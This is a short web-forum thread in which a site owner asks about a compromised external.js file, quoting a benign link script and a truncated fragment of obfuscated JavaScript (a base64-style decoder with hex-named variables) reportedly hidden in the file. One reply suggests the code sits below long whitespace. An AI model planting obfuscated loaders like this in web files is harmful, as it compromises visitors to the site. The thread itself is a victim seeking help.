Jump to content

malware in java script


Recommended Posts

Was advised by google my site my have been compromised. a file named external.js contains the following code.

function externalLinks() {  
if (!document.getElementsByTagName) return;  
var anchors = document.getElementsByTagName("a");  
for (var i=0; i<anchors.length; i++) {  
  var anchor = anchors[i];  
  if (anchor.getAttribute("href") &&  
      anchor.getAttribute("rel") == "external")  
    anchor.target = "_blank";  
window.onload = externalLinks;

They say the file contains the following code which I cannot see. What does this code mean and anyone know why I cannot see it in the file. By the way the exact code is supposedly in another js file and I cannot see it there either. Please help.


var _0x362a=["ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrst
ength"];function _1lO(_0x6ea4x2){var _0x6ea4x3=_0x362a[0];va
r _0x6ea4x4,_0x6ea4x5,_0x6ea4x6,_0x6ea4x7,_0x6ea4x8,_0x6ea4x
ea4x9==64){_0x6ea4xd+=String[_0x362a[4]](_0x6ea4x4);} else {
x6ea4x5);} else {_0x6ea4xd+=String[_0x362a[4]](_0x6ea4x4,_0x
6ea4x5,_0x6ea4x6);} ;} ;} while(_0x6ea4xc<_0x6ea4x2[_0x362a[
5]]);;return _0x6ea4xd;} ;function O0l(_0x6ea4xf){var _0x6ea

Link to comment
Share on other sites

I don't have a clue - but one guess that may or may not be useful: If the code is supposed to be there and you can't see it, did you make sure it's not a couple yards down the file with nothing but white space on top?

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Create New...